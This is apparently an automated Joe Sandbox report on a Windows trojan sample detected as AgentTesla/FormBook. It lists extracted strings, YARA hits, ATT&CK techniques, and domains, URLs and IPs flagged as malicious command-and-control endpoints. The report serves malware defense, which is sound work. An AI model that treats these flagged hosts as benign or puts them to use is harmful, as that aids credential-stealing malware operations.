0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: p4rsJEIb7k.exe	Binary or memory string: WIN_XP
Source: p4rsJEIb7k.exe	Binary or memory string: WIN_XPe
Source: p4rsJEIb7k.exe	Binary or memory string: WIN_VISTA
Source: p4rsJEIb7k.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0047AD92 OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
p4rsJEIb7k.exe	68%	ReversingLabs	Win32.Trojan.AgentTesla
p4rsJEIb7k.exe	100%	Avira	TR/AutoIt.rwrjm
p4rsJEIb7k.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://www.nagasl89.baby/themes/rtp/js/skip-link-focus-fix.js	0%	Avira URL Cloud	safe
http://www.030002832.xyz/o2wj/	0%	Avira URL Cloud	safe
https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125	0%	Avira URL Cloud	safe
http://www.hyman.life/7sxb/	0%	Avira URL Cloud	safe
https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png	0%	Avira URL Cloud	safe
http://www.nidedabeille.net/oy0l/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/css/font.css	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/js/global.js	0%	Avira URL Cloud	safe
http://www.wonders8.live/44hl/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/js/jquery-migrate.js	0%	Avira URL Cloud	safe
https://dev-to.s3.us-east-2.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe
http://abuali-contracting.art/ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW	0%	Avira URL Cloud	safe
http://www.osi.garden/gqtu/	0%	Avira URL Cloud	safe
http://www.notepad.mobi/zut6/	0%	Avira URL Cloud	safe
http://cdn.jsinit.directfwd.com/sk-jspark_init.php	0%	Avira URL Cloud	safe
http://www.parkerstraus.dev/ppmq/	0%	Avira URL Cloud	safe
http://www.983743.vin/yg1w/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/js/jquery.js	0%	Avira URL Cloud	safe
http://www.mynotebook.shop/sws3/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/sitemap.xml	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/amp	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/css/style_v3.css	0%	Avira URL Cloud	safe
http://www.brunvox.site/3qrm/	0%	Avira URL Cloud	safe
http://www.abuali-contracting.art/ytnk/	0%	Avira URL Cloud	safe
http://www.godskids.store/5g7z/	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/genericons/genericons.css	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/feed/rss	0%	Avira URL Cloud	safe
http://www.osi.garden	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/js/functions.js	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/twentyfifteen/js/html5.js	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/favicon.ico	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/css/custom.css	0%	Avira URL Cloud	safe
https://www.nagasl89.baby/themes/rtp/css/styleslot.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
osi.garden	68.65.122.222	true	true	unknown
www.nagasl89.baby	104.21.94.87	true	false	unknown
www.030002832.xyz	161.97.142.144	true	true	unknown
godskids.store	3.33.130.190	true	true	unknown
www.5oxzis.top	20.2.217.253	true	false	unknown
nidedabeille.net	195.110.124.133	true	true	unknown
www.brunvox.site	203.161.41.204	true	true	unknown
www.983743.vin	45.150.55.15	true	true	unknown
abuali-contracting.art	66.198.240.15	true	true	unknown
wonders8.live	119.18.54.27	true	true	unknown
www.notepad.mobi	13.248.169.48	true	true	unknown
hyman.life	15.197.148.33	true	true	unknown
www.mynotebook.shop	13.248.169.48	true	true	unknown
parkerstraus.netlify.app	50.19.214.227	true	true	unknown
www.parkerstraus.dev	unknown	unknown	true	unknown
www.nidedabeille.net	unknown	unknown	true	unknown
www.bav.lat	unknown	unknown	true	unknown
www.abuali-contracting.art	unknown	unknown	true	unknown
www.godskids.store	unknown	unknown	true	unknown
www.pwk-24.xyz	unknown	unknown	true	unknown
www.osi.garden	unknown	unknown	true	unknown
www.wonders8.live	unknown	unknown	true	unknown
www.hyman.life	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.nidedabeille.net/oy0l/	true	Avira URL Cloud: safe	unknown
http://www.030002832.xyz/o2wj/	true	Avira URL Cloud: safe	unknown
http://www.wonders8.live/44hl/	true	Avira URL Cloud: safe	unknown
http://www.hyman.life/7sxb/	true	Avira URL Cloud: safe	unknown
http://www.notepad.mobi/zut6/	true	Avira URL Cloud: safe	unknown
http://www.mynotebook.shop/sws3/	true	Avira URL Cloud: safe	unknown
http://www.983743.vin/yg1w/	true	Avira URL Cloud: safe	unknown
http://www.parkerstraus.dev/ppmq/	true	Avira URL Cloud: safe	unknown
http://www.osi.garden/gqtu/	true	Avira URL Cloud: safe	unknown
http://www.abuali-contracting.art/ytnk/	true	Avira URL Cloud: safe	unknown
http://www.godskids.store/5g7z/	true	Avira URL Cloud: safe	unknown
http://www.brunvox.site/3qrm/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	false		high
https://duckduckgo.com/ac/?q=	-f1ZI14.3.dr	false		high
https://cdn.jsdelivr.net/npm/bootstrap	firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com/practicaldev/image/fetch/s--t7tVouP9--/c_limit	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png	firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/js/global.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/css/font.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/js/jquery-migrate.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/js/skip-link-focus-fix.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com/practicaldev/image/fetch/s--E8ak4Hr1--/c_limit	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006B28000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000006BE8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev-to.s3.us-east-2.amazonaws.com/favicon.ico	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	false		high
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006804000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.00000000068C4000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.nagasl89.baby/sitemap.xml	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/js/jquery.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://abuali-contracting.art/ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005D06000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005DC6000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006672000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000006732000.00000004.10000000.00040000.00000000.sdmp	false		high
https://unpkg.com/flickity	firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
http://cdn.jsinit.directfwd.com/sk-jspark_init.php	BlltrVxNMs.exe, 00000002.00000002.9389382295.00000000061BC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.000000000627C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lso83ossf5u2arbuqd8p.png	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com/practicaldev/image/fetch/s--gDM0_LTS--/c_limit	firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.nagasl89.baby/amp	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	false		high
https://res.cloudinary.com/practicaldev/image/fetch/s--lrmEcD2H--/c_limit	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com/practicaldev/image/fetch/s--l0c3Kmql--/c_limit	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.nagasl89.baby/	firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	-f1ZI14.3.dr	false		high
https://www.ecosia.org/newtab/	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nagasl89.baby/themes/rtp/genericons/genericons.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.osi.garden	BlltrVxNMs.exe, 00000002.00000002.9380185277.0000000001607000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nagasl89.baby/feed/rss	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/css/style_v3.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/rtp/js/functions.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/themes/twentyfifteen/js/html5.js	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nagasl89.baby/favicon.ico	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://res.cloudinary.com/practicaldev/image/fetch/s--2ecYCSjC--/c_limit	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gcdnb.pbrd.co/images/qYol8RtBBg8K.jpg?o=1	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nagasl89.baby/themes/rtp/css/custom.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://res.cloudinary.com/practicaldev/image/fetch/s--KfIJiWl4--/c_imagga_scale	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.nagasl89.baby/themes/rtp/css/styleslot.css	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gcdnb.pbrd.co/images/Gegd7gc1KW00.jpg?o=1);background-size:	BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
15.197.148.33	hyman.life	United States	7430	TANDEMUS	true
68.65.122.222	osi.garden	United States	22612	NAMECHEAP-NETUS	true
13.248.169.48	www.notepad.mobi	United States	16509	AMAZON-02US	true
104.21.94.87	www.nagasl89.baby	United States	13335	CLOUDFLARENETUS	false
161.97.142.144	www.030002832.xyz	United States	51167	CONTABODE	true
195.110.124.133	nidedabeille.net	Italy	39729	REGISTER-ASIT	true
66.198.240.15	abuali-contracting.art	United States	55293	A2HOSTINGUS	true
45.150.55.15	www.983743.vin	Japan	9009	M247GB	true
119.18.54.27	wonders8.live	India	394695	PUBLIC-DOMAIN-REGISTRYUS	true
203.161.41.204	www.brunvox.site	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
50.19.214.227	parkerstraus.netlify.app	United States	14618	AMAZON-AESUS	true
3.33.130.190	godskids.store	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549358
Start date and time:	2024-11-05 15:30:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	p4rsJEIb7k.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@18/12
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 36 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: p4rsJEIb7k.exe

Simulations

Behavior and APIs

Time	Type	Description
09:34:15	API Interceptor	24211605x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
15.197.148.33	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.ninesquare.games/42mc/
	IND24072113.xlsx	Get hash	malicious	Unknown	Browse	www.jilifish.win/to3j/
	ekte.exe	Get hash	malicious	FormBook	Browse	www.childlesscatlady.today/0l08/
	IND24072113_1.xlsx	Get hash	malicious	Unknown	Browse	www.jilifish.win/to3j/
	AL HAYAT DUBAI UAE PRODUCTION RFQ 2024.exe	Get hash	malicious	FormBook	Browse	www.1clickw2.net/9bnb/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.ethetf.digital/m7sk/
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.warriorsyndrome.net/yaso/
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	15.197.148.33/
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	15.197.148.33/
	firmware.sh4.elf	Get hash	malicious	Unknown	Browse	15.197.148.33/
68.65.122.222	TT Swift copy1.exe	Get hash	malicious	FormBook	Browse	www.osi.garden/gqtu/
